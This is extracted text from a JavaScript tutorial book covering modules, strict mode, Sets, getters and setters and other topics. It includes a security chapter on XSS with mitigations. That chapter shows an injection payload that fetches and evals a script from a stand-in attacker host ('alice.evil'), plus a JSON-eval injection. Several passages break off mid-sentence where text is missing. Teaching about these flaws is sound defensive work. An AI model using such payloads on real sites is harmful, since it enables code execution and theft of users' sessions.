In the below example we check for AMD, then CommonJS. If neither of those loaders are in use we fall back to making the module and its dependencies available globally.

(function (root, factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['exports', 'b'], factory); } else if (typeof exports === 'object' && typeof exports.nodeName !== 'string') { // CommonJS factory(exports, require('b')); } else { // Browser globals factory((root.commonJsStrict = {}), root.b); } }(this, function (exports, b) { //use b in some fashion.

// attach properties to the exports object to define // the exported module properties. exports.action = function () {}; }));

Immediately invoked function expressions (IIFE)

Immediately invoked function expressions can be used to create a private scope while producing a public API.

var Module = (function() { var privateData = 1;

return { https://riptutorial.com/ 378 getPrivateData: function() { return privateData; } }; })(); Module.getPrivateData(); // 1 Module.privateData; // undefined

See the Module Pattern for more details.

Asynchronous Module Definition (AMD)

AMD is a module definition system that attempts to address some of the common issues with other systems like CommonJS and anonymous closures.

AMD addresses these issues by:

• Registering the factory function by calling define(), instead of immediately executing it • Passing dependencies as an array of module names, which are then loaded, instead of using globals • Only executing the factory function once all the dependencies have been loaded and executed • Passing the dependent modules as arguments to the factory function

The key thing here is that a module can have a dependency and not hold everything up while waiting for it to load, without the developer having to write complicated code.

Here's an example of AMD:

// Define a module "myModule" with two dependencies, jQuery and Lodash define("myModule", ["jquery", "lodash"], function($, _) { // This publicly accessible object is our module // Here we use an object, but it can be of any type var myModule = {};

var privateVar = "Nothing outside of this module can see me";

var privateFn = function(param) { return "Here's what you said: " + param; };

myModule.version = 1;

myModule.moduleMethod = function() { // We can still access global variables from here, but it's better // if we use the passed ones return privateFn(windowTitle); };

return myModule; });

Modules can also skip the name and be anonymous. When that's done, they're usually loaded by file name. https://riptutorial.com/ 379 define(["jquery", "lodash"], function($, _) { /* factory */ });

They can also skip dependencies:

define(function() { /* factory */ });

Some AMD loaders support defining modules as plain objects:

define("myModule", { version: 1, value: "sample string" });

CommonJS - Node.js

CommonJS is a popular modularization pattern that's used in Node.js.

The CommonJS system is centered around a require() function that loads other modules and an exports property that lets modules export publicly accessible methods.

Here's an example of CommonJS, we'll load Lodash and Node.js' fs module:

// Load fs and lodash, we can use them anywhere inside the module var fs = require("fs"), _ = require("lodash");

var myPrivateFn = function(param) { return "Here's what you said: " + param; };

// Here we export a public `myMethod` that other modules can use exports.myMethod = function(param) { return myPrivateFn(param); };

You can also export a function as the entire module using module.exports:

module.exports = function() { return "Hello!"; };

ES6 Modules

6

In ECMAScript 6, when using the module syntax (import/export), each file becomes its own module with a private namespace. Top-level functions and variables do not pollute the global namespace. To expose functions, classes, and variables for other modules to import, you can use the export keyword.

Note: Although this is the official method for creating JavaScript modules, it is not supported by any major browsers right now. However, ES6 Modules are supported by many transpilers.

https://riptutorial.com/ 380 export function greet(name) { console.log("Hello %s!", name); }

var myMethod = function(param) { return "Here's what you said: " + param; };

export {myMethod}

export class MyClass { test() {} }

Using Modules

Importing modules is as simple as specifying their path:

import greet from "mymodule.js";

greet("Bob");

This imports only the myMethod method from our mymodule.js file.

It's also possible to import all methods from a module:

import * as myModule from "mymodule.js";

myModule.greet("Alice");

You can also import methods under a new name:

import { greet as A, myMethod as B } from "mymodule.js";

More information on ES6 Modules can be found in the Modules topic.

Read Modularization Techniques online: https://riptutorial.com/javascript/topic/4655/modularization-techniques

https://riptutorial.com/ 381 Chapter 67: Modules

Syntax

• import defaultMember from 'module'; • import { memberA, memberB, ... } from 'module'; • import * as module from 'module'; • import { memberA as a, memberB, ... } from 'module'; • import defaultMember, * as module from 'module'; • import defaultMember, { moduleA, ... } from 'module'; • import 'module';

Remarks

From MDN (emphasis added):

This feature is not implemented in any browsers natively at this time. It is implemented in many transpilers, such as the Traceur Compiler, Babel or Rollup.

Many transpilers are able to convert ES6 module syntax into CommonJS for use in the Node ecosystem, or RequireJS or System.js for use in the browser.

It is also possible to use a module bundler like Browserify to combine a set of inter-dependent CommonJS modules into a single file which can be loaded in the browser.

Examples

Default exports

In addition to named imports, you can provide a default export.

// circle.js export const PI = 3.14; export default function area(radius) { return PI * radius * radius; }

You can use a simplified syntax to import the default export.

import circleArea from './circle'; console.log(circleArea(4));

Note that a default export is implicitly equivalent to a named export with the name default, and the imported binding (circleArea above) is simply an alias. The previous module can be written like

import { default as circleArea } from './circle'; https://riptutorial.com/ 382 console.log(circleArea(4));

You can only have one default export per module. The name of the default export can be omitted.

// named export: must have a name export const PI = 3.14;

// default export: name is not required export default function (radius) { return PI * radius * radius; }

Importing with side effects

Sometimes you have a module that you only want to import so its top-level code gets run. This is useful for polyfills, other globals, or configuration that only runs once when your module is imported.

Given a file named test.js:

console.log('Initializing...')

You can use it like this:

import './test'

This example will print Initializing... to the console.

Defining a module

In ECMAScript 6, when using the module syntax (import/export), each file becomes its own module with a private namespace. Top-level functions and variables do not pollute the global namespace. To expose functions, classes, and variables for other modules to import, you can use the export keyword.

// not exported function somethingPrivate() { console.log('TOP SECRET') }

export const PI = 3.14;

export function doSomething() { console.log('Hello from a module!') }

function doSomethingElse(){ console.log("Something else") }

export {doSomethingElse} https://riptutorial.com/ 383

export class MyClass { test() {} }

Note: ES5 JavaScript files loaded via

Cancelling an Animation

To cancel a call to requestAnimationFrame, you need the id it returned from when it was last called. This is the parameter you use for cancelAnimationFrame. The following example starts some hypothetical animation then pauses it after one second.

// stores the id returned from each call to requestAnimationFrame var requestId;

// draw something function draw(timestamp) { // do some animation // request next frame start(); }

// pauses the animation function pause() { // pass in the id returned from the last call to requestAnimationFrame cancelAnimationFrame(requestId); }

// begin the animation function start() { // store the id returned from requestAnimationFrame requestId = requestAnimationFrame(draw); }

// begin now https://riptutorial.com/ 453 start();

// after a second, pause the animation setTimeout(pause,1000);

Keeping Compatability

Of course, just like most things in browser JavaScript, you just can't count on the fact that everything will be the same everywhere. In this case, requestAnimationFrame might have a prefix on some platforms and are named differently, such as webkitRequestAnimationFrame. Fortunately, there's a really easy way to group all the known differences that could exist down to 1 function:

window.requestAnimationFrame = (function(){ return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || function(callback){ window.setTimeout(callback, 1000 / 60); }; })();

Note that the last option (which fills in when no existing support was found) will not return an id to be used in cancelAnimationFrame. There is, however an efficient polyfill that was written which fixes this.

Read requestAnimationFrame online: https://riptutorial.com/javascript/topic/1808/requestanimationframe

https://riptutorial.com/ 454 Chapter 78: Reserved Keywords

Introduction

Certain words - so-called keywords - are treated specially in JavaScript. There's a plethora of different kinds of keywords, and they have changed in different versions of the language.

Examples

Reserved Keywords

JavaScript has a predefined collection of reserved keywords which you cannot use as variables, labels, or function names.

ECMAScript 1

1

A — E E — R S — Z

break export super

case extends switch

catch false this

class finally throw

const for true

continue function try

debugger if typeof

default import var

delete in void

do new while

else null with

enum return

ECMAScript 2

Added 24 additional reserved keywords. (New additions in bold). https://riptutorial.com/ 455 3E4X

A — F F — P P — Z

abstract final public

boolean finally return

break float short

byte for static

case function super

catch goto switch

char if synchronized

class implements this

const import throw

continue in throws

debugger instanceof transient

default int true

delete interface try

do long typeof

double native var

else new void

enum null volatile

export package while

extends private with

false protected

ECMAScript 5 / 5.1

There was no change since ECMAScript 3.

ECMAScript 5 removed int, byte, char, goto, long, final, float, short, double, native, throws, boolean , abstract, volatile, transient, and synchronized; it added let and yield.

A — F F — P P — Z

break finally public

case for return https://riptutorial.com/ 456 A — F F — P P — Z

catch function static

class if super

const implements switch

continue import this

debugger in throw

default instanceof true

delete interface try

do let typeof

else new var

enum null void

export package while

extends private with

false protected yield

implements, let, private, public, interface, package, protected, static, and yield are disallowed in strict mode only.

eval and arguments are not reserved words but they act like it in strict mode.

ECMAScript 6 / ECMAScript 2015

A — E E — R S — Z

break export super

case extends switch

catch finally this

class for throw

const function try

continue if typeof

debugger import var

default in void

delete instanceof while

do new with

else return yield https://riptutorial.com/ 457 Future reserved keywords

The following are reserved as future keywords by the ECMAScript specification. They have no special functionality at present, but they might at some future time, so they cannot be used as identifiers.

enum

The following are only reserved when they are found in strict mode code:

implements package public

interface private `static'

let protected

Future reserved keywords in older standards

The following are reserved as future keywords by older ECMAScript specifications (ECMAScript 1 till 3).

abstract float short

boolean goto synchronized

byte instanceof throws

char int transient

double long volatile

final native

Additionally, the literals null, true, and false cannot be used as identifiers in ECMAScript.

From the Mozilla Developer Network.

Identifiers & Identifier Names

With regards to reserved words there is a small distinctions between the "Identifiers" used for the likes of variable or function names and the "Identifier Names" allowed as properties of composite data types.

For example the following will result in an illegal syntax error:

var break = true;

Uncaught SyntaxError: Unexpected token break https://riptutorial.com/ 458 However the name is deemed valid as a property of an object (as of ECMAScript 5+):

var obj = { break: true }; console.log(obj.break);

To quote from this answer:

From the ECMAScript® 5.1 Language Specification:

Section 7.6

Identifier Names are tokens that are interpreted according to the grammar given in the “Identifiers” section of chapter 5 of the Unicode standard, with some small modifications. An Identifier is an IdentifierName that is not a ReservedWord (see 7.6.1).

Syntax

Identifier :: IdentifierName but not ReservedWord

By specification, a ReservedWord is:

Section 7.6.1

A reserved word is an IdentifierName that cannot be used as an Identifier.

ReservedWord :: Keyword FutureReservedWord NullLiteral BooleanLiteral

This includes keywords, future keywords, null, and boolean literals. The full list of keywords are in Sections 7.6.1 and literals are in Section 7.8.

The above (Section 7.6) implies that IdentifierNames can be ReservedWords, and from the specification for object initializers:

Section 11.1.5

Syntax

ObjectLiteral : { } { PropertyNameAndValueList } { PropertyNameAndValueList , }

Where PropertyName is, by specification:

https://riptutorial.com/ 459 PropertyName : IdentifierName StringLiteral NumericLiteral

As you can see, a PropertyName may be an IdentifierName, thus allowing ReservedWords to be PropertyNames. That conclusively tells us that, by specification, it is allowed to have ReservedWords such as class and var as PropertyNames unquoted just like string literals or numeric literals.

To read more, see Section 7.6 - Identifier Names and Identifiers.

Note: the syntax highlighter in this example has spotted the reserved word and still highlighted it. While the example is valid Javascript developers can get caught out by some compiler / transpiler, linter and minifier tools that argue otherwise.

Read Reserved Keywords online: https://riptutorial.com/javascript/topic/1853/reserved-keywords

https://riptutorial.com/ 460 Chapter 79: Same Origin Policy & Cross- Origin Communication

Introduction

Same-Origin policy is used by web browsers to prevent scripts to be able to access remote content if the remote address has not the same origin of the script. This prevents malicious scripts from performing requests to other websites to obtain sensitive data.

The origin of two addresses is considered the same if both URLs have the same protocol, hostname and port.

Examples

Ways to circumvent Same-Origin Policy

As far as client-side JavaScript engines are concerned (those running inside a browser), there is no straightforward solution available for requesting content from sources other than the current domain. (By the way, this limitation does not exist in JavaScript-server tools such as Node JS.)

However, it is (in some situations) indeed possible to retrieve data from other sources using the following methods. Please do note that some of them may present hacks or workarounds instead of solutions production system should rely on. Method 1: CORS

Most public today allow developers to send data bidirectionally between client and server by enabling a feature called CORS (Cross-Origin Resource Sharing). The browser will check if a certain HTTP header (Access-Control-Allow-Origin) is set and that the requesting site's domain is listed in the header's value. If it is, then the browser will allow establishing AJAX connections.

However, because developers cannot change other servers' response headers, this method can't always be relied on. Method 2: JSONP

JSON with Padding is commonly blamed to be a workaround. It is not the most straightforward method, but it still gets the job done. This method takes advantage of the fact that script files can be loaded from any domain. Still, it is crucial to mention that requesting JavaScript code from external sources is always a potential security risk and this should generally be avoided if there's a better solution available.

https://riptutorial.com/ 461 The data requested using JSONP is typically JSON, which happens to fit the syntax used for object definition in JavaScript, making this method of transport very simple. A common way to let websites use the external data obtained via JSONP is to wrap it inside a callback function, which is set via a GET parameter in the URL. Once the external script file loads, the function will be called with the data as its first parameter.

The contents of http://example.com/api/endpoint.js?callback=myfunc might look like this:

myfunc({"example_field":true})

The function always has to be defined first, otherwise it won't be defined when the external script loads.

Safe cross-origin communication with messages

The window.postMessage() method together with its relative event handler window.onmessage can be safely used to enable cross-origin communication.

The postMessage() method of the target window can be called to send a message to another window, which will be able to intercept it with its onmessage event handler, elaborate it, and, if necessary, send a response back to the sender window using postMessage() again.

Example of Window communicating with a children frame

• Content of http://main-site.com/index.html:

• Content of http://other-site.com/index.html:

, she sees:

Your search (), didn't match anything. Try again.

And:

https://riptutorial.com/ 478 Than Alice searches for I'm actually too lazy to write something here.

Whenever someone visits her profile, they get Alice's script run on Bob's website while logged on as their account. Mitigation

1. Escape angle brackets in profile descriptions, etc. 2. Store profile descriptions in a plain text file that is then fetched with a script that adds the description via .innerText 3. Add a Content Security Policy that refuses to load active content from other domains

Persistent Cross-site scripting from JavaScript string literals

Let's say that Bob owns a site that lets you post public messages.

The messages are loaded by a script that looks like this:

addMessage("Message 1"); addMessage("Message 2"); addMessage("Message 3"); addMessage("Message 4"); addMessage("Message 5"); addMessage("Message 6");

The addMessage function adds a posted message to the DOM. However, in an effort to avoid XSS, any HTML in messages posted is escaped.

The script is generated on the server like this:

for(var i = 0; i < messages.length; i++){ script += "addMessage(\"" + messages[i] + "\");"; }

So alice posts a message that says: My mom said: "Life is good. Pie makes it better. ". Than when she previews the message, instead of seeing her message she sees an error in the console:

Uncaught SyntaxError: missing ) after argument list

Why? Because the generated script looks like this:

addMessage("My mom said: "Life is good. Pie makes it better. "");

https://riptutorial.com/ 480 That's a syntax error. Than Alice posts:

I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//

Then the generated script looks like:

addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");

That adds the message I like pie, but it also downloads and runs https://alice.evil/js_xss.js whenever someone visits Bob's site. Mitigation:

1. Pass the message posted into JSON.stringify() 2. Instead of dynamically building a script, build a plain text file containing all the messages that is later fetched by the script 3. Add a Content Security Policy that refuses to load active content from other domains

Why scripts from other people can harm your website and its visitors

If you don't think that malicious scripts can harm your site, you are wrong. Here is a list of what a malicious script could do:

1. Remove itself from the DOM so that it can't be traced 2. Steal users' session cookies and enable the script author to log in as and impersonate them 3. Show a fake "Your session has expired. Please log in again." message that sends the user's password to the script author. 4. Register a malicious service worker that runs a malicious script on every page visit to that website. 5. Put up a fake paywall demanding that users pay money to access the site that actually goes to the script author.

Please, don't think that XSS won't harm your website and its visitors.

Evaled JSON injection

Let's say that whenever someone visits a profile page in Bob's website, the following URL is fetched:

https://example.com/api/users/1234/profiledata.json

With a response like this:

{ https://riptutorial.com/ 481 "name": "Bob", "description": "Likes pie & security holes." }

Than that data is parsed & inserted:

var data = eval("(" + resp + ")"); document.getElementById("#name").innerText = data.name; document.getElementById("#description").innerText = data.description;

Seems good, right? Wrong.

What if someone's description is Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.? Seems weird, but if poorly done, the response will be:

{ "name": "Alice", "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS." }

And this will be evaled:

({ "name": "Alice", "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS." })

If you don't think that's a problem, paste that in your console and see what happens. Mitagation

• Use JSON.parse instead of eval to get JSON. In general, don't use eval, and definitely don't use eval with something a user could control. Eval creates a new execution context, creating a performance hit.

• Properly escape " and \ in user data before putting it in JSON. If you just escape the ", than this will happen:

Hello! \"});alert(1);({

Will be converted to:

"Hello! \\"});alert(1);({"

Oops. Remember to escape both the \ and ", or just use JSON.parse.

Read Security issues online: https://riptutorial.com/javascript/topic/10723/security-issues https://riptutorial.com/ 482 Chapter 83: Selection API

Syntax

• Selection sel = window.getSelection(); • Selection sel = document.getSelection(); // equivalent to the above • Range range = document.createRange(); • range.setStart(startNode, startOffset); • range.setEnd(endNode, endOffset);

Parameters

Parameter Details

If the node is a Text node, it is the number of characters from the beginning of startOffset startNode to where the range begins. Otherwise, it is the number of child nodes between the beginning of startNode to where the range begins.

If the node is a Text node, it is the number of characters from the beginning of endOffset startNode to where the range ends. Otherwise, it is the number of child nodes between the beginning of startNode to where the range ends.

Remarks

The Selection API allows you to view and change the elements and text that are selected (highlighted) in the document.

It is implemented as a singleton Selection instance that applies to the document, and holds a collection of Range objects, each representing one contiguous selected area.

Practically speaking, no browser except Mozilla Firefox supports multiple ranges in selections, and this is not encouraged by the spec either. Additionally, most users are not familiar with the concept of multiple ranges. As such, a developer can usually only concern themselves with one range.

Examples

Deselect everything that is selected

let sel = document.getSelection(); sel.removeAllRanges();

Select the contents of an element

https://riptutorial.com/ 483 let sel = document.getSelection();

let myNode = document.getElementById('element-to-select');

let range = document.createRange(); range.selectNodeContents(myNode);

sel.addRange(range);

It may be necessary to first remove all the ranges of the previous selection, as most browsers don't support multiple ranges.

Get the text of the selection

let sel = document.getSelection(); let text = sel.toString(); console.log(text); // logs what the user selected

Alternatively, since the toString member function is called automatically by some functions when converting the object to a string, you don't always have to call it yourself.

console.log(document.getSelection());

Read Selection API online: https://riptutorial.com/javascript/topic/2790/selection-api

https://riptutorial.com/ 484 Chapter 84: Server-sent events

Syntax

• new EventSource("api/stream"); • eventSource.onmessage=function(event){} • eventSource.onerror=function(event){}; • eventSource.addEventListener=function(name, callback, options){}; • eventSource.readyState; • eventSource.url; • eventSource.close();

Examples

Setting up a basic event stream to the server

You can setup your client browser to listen in incoming server events using the EventSource object. You will need to supply the constructor a string of the path to the server' API enpoint the will subscribe the client to the server events.

Example: var eventSource = new EventSource("api/my-events");

Events have names with which they are categorized and sent, and a listener must be setup to listen to each such event by name. the default event name is message and in order to listen to it you must use the appropriate event listener, .onmessage

evtSource.onmessage = function(event) { var data = JSON.parse(event.data); // do something with data }

The above function will run everytime the server will push an event to the client. Data is sent as text/plain, if you send JSON data you may want to parse it.

Closing an event stream

An event stream to the server can be closed using the EventSource.close() method

var eventSource = new EventSource("api/my-events"); // do things ... eventSource.close(); // you will not receive anymore events from this object

The .close() method does nothing is the stream is already closed.

https://riptutorial.com/ 485 Binding event listeners to EventSource

You can bind event listeners to the EventSource object to listen to different events channels using the .addEventListener method.

EventSource.addEventListener(name: String, callback: Function, [options]) name: The name related to the name of the channel the server is emitting events to. callback: The callback function runs every time an event bound to the channel is emitted, the function provides the event as an argument. options: Options that characterize the behavior of the event listener.

The following example shows a heartbeat event stream from the server, the server sends events on the heartbeat channel and this routine will always run when an event in accepted.

var eventSource = new EventSource("api/heartbeat"); ... eventSource.addEventListener("heartbeat", function(event) { var status = event.data; if (status=='OK') { // do something } });

Read Server-sent events online: https://riptutorial.com/javascript/topic/5781/server-sent-events

https://riptutorial.com/ 486 Chapter 85: Set

Introduction

The Set object lets you store unique values of any type, whether primitive values or object references.

Set objects are collections of values. You can iterate through the elements of a set in insertion order. A value in the Set may only occur ONCE; it is unique in the Set's collection. Distinct values are discriminated using the SameValueZero comparison algorithm.

Standard Specification About Set

Syntax

• new Set([iterable]) • mySet.add(value) • mySet.clear() • mySet.delete(value) • mySet.entries() • mySet.forEach(callback[, thisArg]) • mySet.has(value) • mySet.values()

Parameters

Parameter Details

If an iterable object is passed, all of its elements will be added to the new Set. iterable null is treated as undefined.

value The value of the element to add to the Set object.

callback Function to execute for each element.

thisArg Optional. Value to use as this when executing callback.

Remarks

Because each value in the Set has to be unique, the value equality will be checked and is not based on the same algorithm as the one used in the === operator. Specifically, for Sets, +0 (which is strictly equal to -0) and -0 are different values. However, this has been changed in the latest ECMAScript 6 specification. Starting with Gecko 29.0 (Firefox 29 / Thunderbird 29 / SeaMonkey 2.26) (bug 952870) and a recent nightly Chrome, +0 and -0 are treated as the same value in Set https://riptutorial.com/ 487 objects. Also, NaN and undefined can also be stored in a Set. NaN is considered the same as NaN (even though NaN !== NaN).

Examples

Creating a Set

The Set object lets you store unique values of any type, whether primitive values or object references.

You can push items into a set and iterate them similar to a plain JavaScript array, but unlike array, you cannot add a value to a Set if the value already exist in it.

To create a new set:

const mySet = new Set();

Or you can create a set from any iterable object to give it starting values:

const arr = [1,2,3,4,4,5]; const mySet = new Set(arr);

In the example above the set content would be {1, 2, 3, 4, 5}. Note that the value 4 appears only once, unlike in the original array used to create it.

Adding a value to a Set

To add a value to a Set, use the .add() method:

mySet.add(5);

If the value already exist in the set it will not be added again, as Sets contain unique values.

Note that the .add() method returns the set itself, so you can chain add calls together:

mySet.add(1).add(2).add(3);

Removing value from a set

To remove a value from a set, use .delete() method:

mySet.delete(some_val);

This function will return true if the value existed in the set and was removed, or false otherwise.

Checking if a value exist in a set

https://riptutorial.com/ 488 To check if a given value exists in a set, use .has() method:

mySet.has(someVal);

Will return true if someVal appears in the set, false otherwise.

Clearing a Set

You can remove all the elements in a set using the .clear() method:

mySet.clear();

Getting set length

You can get the number of elements inside the set using the .size property

const mySet = new Set([1, 2, 2, 3]); mySet.add(4); mySet.size; // 4

This property, unlike Array.prototype.length, is read-only, which means that you can't change it by assigning something to it:

mySet.size = 5; mySet.size; // 4

In strict mode it even throws an error:

TypeError: Cannot set property size of # which has only a getter

Converting Sets to arrays

Sometimes you may need to convert a Set to an array, for example to be able to use Array.prototype methods like .filter(). In order to do so, use Array.from() or destructuring- assignment:

var mySet = new Set([1, 2, 3, 4]); //use Array.from const myArray = Array.from(mySet); //use destructuring-assignment const myArray = [...mySet];

Now you can filter the array to contain only even numbers and convert it back to Set using Set constructor:

mySet = new Set(myArray.filter(x => x % 2 === 0)); mySet now contains only even numbers: https://riptutorial.com/ 489 console.log(mySet); // Set {2, 4}

Intersection and difference in Sets

There are no build-in methods for intersection and difference in Sets, but you can still achieve that but converting them to arrays, filtering, and converting back to Sets:

var set1 = new Set([1, 2, 3, 4]), set2 = new Set([3, 4, 5, 6]);

const intersection = new Set(Array.from(set1).filter(x => set2.has(x)));//Set {3, 4} const difference = new Set(Array.from(set1).filter(x => !set2.has(x))); //Set {1, 2}

Iterating Sets

You can use a simple for-of loop to iterate a Set:

const mySet = new Set([1, 2, 3]);

for (const value of mySet) { console.log(value); // logs 1, 2 and 3 }

When iterating over a set, it will always return values in the order they were first added to the set. For example:

const set = new Set([4, 5, 6]) set.add(10) set.add(5) //5 already exists in the set Array.from(set) //[4, 5, 6, 10]

There's also a .forEach() method, similar to Array.prototype.forEach(). It has two parameters, callback, which will be executed for each element, and optional thisArg, which will be used as this when executing callback. callback has three arguments. The first two arguments are both the current element of Set (for consistency with Array.prototype.forEach() and Map.prototype.forEach()) and the third argument is the Set itself.

mySet.forEach((value, value2, set) => console.log(value)); // logs 1, 2 and 3

Read Set online: https://riptutorial.com/javascript/topic/2854/set

https://riptutorial.com/ 490 Chapter 86: Setters and Getters

Introduction

Setters and getters are object properties that call a function when they are set/gotten.

Remarks

An object property cannot hold both a getter and a value at the same time. However, an object property can hold both a setter and a getter at the same time.

Examples

Defining an Setter/Getter in a Newly Created Object

JavaScript allows us to define getters and setters in the object literal syntax. Here's an example:

var date = { year: '2017', month: '02', day: '27', get date() { // Get the date in YYYY-MM-DD format return `${this.year}-${this.month}-${this.day}` }, set date(dateString) { // Set the date from a YYYY-MM-DD formatted string var dateRegExp = /(\d{4})-(\d{2})-(\d{2})/;

// Check that the string is correctly formatted if (dateRegExp.test(dateString)) { var parsedDate = dateRegExp.exec(dateString); this.year = parsedDate[1]; this.month = parsedDate[2]; this.day = parsedDate[3]; } else { throw new Error('Date string must be in YYYY-MM-DD format'); } } };

Accessing the date.date property would return the value 2017-02-27. Setting date.date = '2018-01- 02 would call the setter function, which would then parse the string and set date.year = '2018', date.month = '01', and date.day = '02'. Trying to pass an incorrectly formatted string (such as "hello") would throw an error.

Defining a Setter/Getter Using Object.defineProperty

https://riptutorial.com/ 491 var setValue; var obj = {}; Object.defineProperty(obj, "objProperty", { get: function(){ return "a value"; }, set: function(value){ setValue = value; } });

Defining getters and setters in ES6 class

class Person { constructor(firstname, lastname) { this._firstname = firstname; this._lastname = lastname; }

get firstname() { return this._firstname; }

set firstname(name) { this._firstname = name; }

get lastname() { return this._lastname; }

set lastname(name) { this._lastname = name; } }

let person = new Person('John', 'Doe');

console.log(person.firstname, person.lastname); // John Doe

person.firstname = 'Foo'; person.lastname = 'Bar';

console.log(person.firstname, person.lastname); // Foo Bar

Read Setters and Getters online: https://riptutorial.com/javascript/topic/8299/setters-and-getters

https://riptutorial.com/ 492 Chapter 87: Strict mode

Syntax

• 'use strict'; • "use strict"; • `use strict`;

Remarks

Strict mode is an option added in ECMAScript 5 to enable a few backwards-incompatible enhancements. Behaviour changes in "strict mode" code include:

• Assigning to undefined variables raises an error instead of defining new global variables; • Assigning to or deleting non-writable properties (such as window.undefined) raises an error instead of executing silently; • Legacy octal syntax (ex. 0777) is unsupported; • The with statement is unsupported; • eval cannot create variables in the surrounding scope; • Functions' .caller and .arguments properties are unsupported; • A function's parameter list cannot have duplicates; • window is no longer automatically used as the value of this.

NOTE:- 'strict' mode is NOT enabled by default as if a page uses JavaScript which depends on features of non - strict mode, then that code will break. Thus, it has to be turned on by the programmer himself / herself.

Examples

For entire scripts

Strict mode can be applied on entire scripts by placing the statement "use strict"; before any other statements.

"use strict"; // strict mode now applies for the rest of the script

Strict mode is only enabled in scripts where you define "use strict". You can combine scripts with and without strict mode, because the strict state is not shared among different scripts.

6

Note: All code written inside ES2015+ modules and classes are strict by default.

For functions https://riptutorial.com/ 493 Strict mode can also be applied to single functions by prepending the "use strict"; statement at the beginning of the function declaration.

function strict() { "use strict"; // strict mode now applies to the rest of this function var innerFunction = function () { // strict mode also applies here }; }

function notStrict() { // but not here }

Strict mode will also apply to any inner scoped functions.

Changes to global properties

In a non-strict-mode scope, when a variable is assigned without being initialized with the var, const or the let keyword, it is automatically declared in the global scope:

a = 12; console.log(a); // 12

In strict mode however, any access to an undeclared variable will throw a reference error:

"use strict"; a = 12; // ReferenceError: a is not defined console.log(a);

This is useful because JavaScript has a number of possible events that are sometimes unexpected. In non-strict-mode, these events often lead developers to believe they are bugs or unexpected behavior, thus by enabling strict-mode, any errors that are thrown enforces them to know exactly what is being done.

"use strict"; // Assuming a global variable mistypedVariable exists mistypedVaraible = 17; // this line throws a ReferenceError due to the // misspelling of variable

This code in strict mode displays one possible scenario: it throws a reference error which points to the assignment's line number, allowing the developer to immediately detect the mistype in the variable's name.

In non-strict-mode, besides the fact that no error is thrown and the assignment is successfully made, the mistypedVaraible will be automatically declared in the global scope as a global variable. This implies that the developer needs to look up manually this specific assignment in the code.

https://riptutorial.com/ 494 Furthermore, by forcing declaration of variables, the developer cannot accidentally declare global variables inside functions. In non-strict-mode:

function foo() { a = "bar"; // variable is automatically declared in the global scope } foo(); console.log(a); // >> bar

In strict mode, it is necessary to explicitly declare the variable:

function strict_scope() { "use strict"; var a = "bar"; // variable is local } strict_scope(); console.log(a); // >> "ReferenceError: a is not defined"

The variable can also be declared outside and after a function, allowing it to be used, for instance, in the global scope:

function strict_scope() { "use strict"; a = "bar"; // variable is global } var a; strict_scope(); console.log(a); // >> bar

Changes to properties

Strict mode also prevents you from deleting undeletable properties.

"use strict"; delete Object.prototype; // throws a TypeError

The above statement would simply be ignored if you don't use strict mode, however now you know why it does not execute as expected.

It also prevents you from extending a non-extensible property.

var myObject = {name: "My Name"} Object.preventExtensions(myObject);

function setAge() { myObject.age = 25; // No errors }

function setAge() { "use strict"; myObject.age = 25; // TypeError: can't define property "age": Object is not extensible }

https://riptutorial.com/ 495 Behaviour of a function's arguments list arguments object behave different in strict and non strict mode. In non-strict mode, the argument object will reflect the changes in the value of the parameters which are present, however in strict mode any changes to the value of the parameter will not be reflected in the argument object.

function add(a, b){ console.log(arguments[0], arguments[1]); // Prints : 1,2

a = 5, b = 10;

console.log(arguments[0], arguments[1]); // Prints : 5,10 }

add(1, 2);

For the above code, the arguments object is changed when we change the value of the parameters. However, for strict mode, the same will not be reflected.

function add(a, b) { 'use strict';

console.log(arguments[0], arguments[1]); // Prints : 1,2

a = 5, b = 10;

console.log(arguments[0], arguments[1]); // Prints : 1,2 }

It's worth noting that, if any one of the parameters is undefined, and we try to change the value of the parameter in both strict-mode or non-strict mode the arguments object remains unchanged.

Strict mode

function add(a, b) { 'use strict';

console.log(arguments[0], arguments[1]); // undefined,undefined // 1,undefined a = 5, b = 10;

console.log(arguments[0], arguments[1]); // undefined,undefined // 1, undefined } add(); // undefined,undefined // undefined,undefined

add(1) // 1, undefined // 1, undefined

Non-Strict Mode

https://riptutorial.com/ 496 function add(a,b) {

console.log(arguments[0],arguments[1]);

a = 5, b = 10;

console.log(arguments[0],arguments[1]); } add(); // undefined,undefined // undefined,undefined

add(1); // 1, undefined // 5, undefined

Duplicate Parameters

Strict mode does not allow you to use duplicate function parameter names.

function foo(bar, bar) {} // No error. bar is set to the final argument when called

"use strict"; function foo(bar, bar) {}; // SyntaxError: duplicate formal argument bar

Function scoping in strict mode

In Strict Mode, functions declared in a local block are inaccessible outside the block.

"use strict"; { f(); // 'hi' function f() {console.log('hi');} } f(); // ReferenceError: f is not defined

Scope-wise, function declarations in Strict Mode have the same kind of binding as let or const.

Non-Simple parameter lists

function a(x = 5) { "use strict"; } is invalid JavaScript and will throw a SyntaxError because you cannot use the directive "use strict" in a function with Non-Simple Parameter list like the one above - default assignment x = 5

Non-Simple parameters include -

• Default assignemnt

function a(x = 1) { https://riptutorial.com/ 497 "use strict"; }

• Destructuring

function a({ x }) { "use strict"; }

• Rest params

function a(...args) { "use strict"; }

Read Strict mode online: https://riptutorial.com/javascript/topic/381/strict-mode

https://riptutorial.com/ 498 Chapter 88: Strings

Syntax

• "string literal" • 'string literal' • "string literal with 'mismatching quotes'" // no errors; quotes are different. • "string literal with "escaped quotes"" // no errors; quotes are escaped. • `template string ${expression}` • String("a b c") // returns string when called in non-constructor context • new String("a b c") // the String object, not the string primitive

Examples

Basic Info and String Concatenation

Strings in JavaScript can be enclosed in Single quotes 'hello', Double quotes "Hello" and (from ES2015, ES6) in Template Literals (backticks) `hello`.

var hello = "Hello"; var world = 'world'; var helloW = `Hello World`; // ES2015 / ES6

Strings can be created from other types using the String() function.

var intString = String(32); // "32" var booleanString = String(true); // "true" var nullString = String(null); // "null"

Or, toString() can be used to convert Numbers, Booleans or Objects to Strings.

